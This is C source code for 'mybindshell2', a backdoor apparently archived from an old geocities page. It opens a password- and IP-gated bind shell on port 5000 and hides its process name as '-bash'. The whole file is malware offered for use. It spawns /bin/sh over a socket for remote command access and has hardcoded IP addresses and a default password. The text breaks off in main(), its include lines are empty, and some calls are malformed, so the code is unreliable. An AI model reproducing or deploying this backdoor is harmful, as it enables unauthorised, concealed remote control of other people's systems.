/* mybindshell2.c copyrights by konewka * 
* another bindshell which spawns a shell to an allowded ip.
* edit defines and enter your ips.
* 
* http://www.olek.org/
*
* Password Control added by Sourcecode.
* ijooBind credit on it.
* Sourcecode's Todo List : 
*
*1. Console Switches will follow to select ip Access Control or Password Control (or both)
*2. IP-Access Control ->IP-Range Support
*3. Password Control -> Password Hashing
* as soon as possible.
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 5000
#define MAXCLIENTS 1
#define HIDE "-bash"
#define SHELL "/bin/sh"
#define CMD "uname -sr"

int allow(u_char *ip);
void go(u_int sd, u_char *src);
int sc;
char passwd[] = "123456";   // Change 123456 to the password that you want
char* allowip[] = { "127.0.0.1", "217.97.31.90", "217.98.221.144", (void*)0 };  //here you can write your IP's 
char motd[] = "Welcome to mybindshell2.\nHint: Put ';' before each command.\n";

int allow(u_char *ip) {
    u_int i;
setpgid(0, 0);    
    for (i=0;allowip[i] != NULL;i++) {
	if (!strcmp(ip, allowip[i]))
	    return 1;
    }
    return 0;
}
char buffer[150];
void go(u_int sd, u_char *src) {
    if (allow(src)) {
	write(sd, "Password: ", 10, strlen(motd));
	read(sd, buffer, sizeof(buffer));
		if (!strncmp(buffer, passwd, strlen(passwd))) {
			write(sd, motd, strlen(motd));
			dup2(sd, 0); dup2(sd, 1); dup2(sd, 2); /* stderr, stdout, stdin .. */
			system(CMD);
			execl(SHELL, SHELL, (char *)0); /* spawn a shell */
			close(sd); 
		}
else {
write(sd, "access denied\n", 7);  // the Error Message for the wrong password
close (sd); exit(0);
}
	exit(0);
    }
    
    close(sd);
    exit(0); 
}

main(int argc, char *argv[]) {
    struct sockaddr_in home, remote;
    u_int sockIN, sockOUT, len, i;
    
    for (i=0;i

    Source: geocities.com/ijookeren/xxx

               ( geocities.com/ijookeren)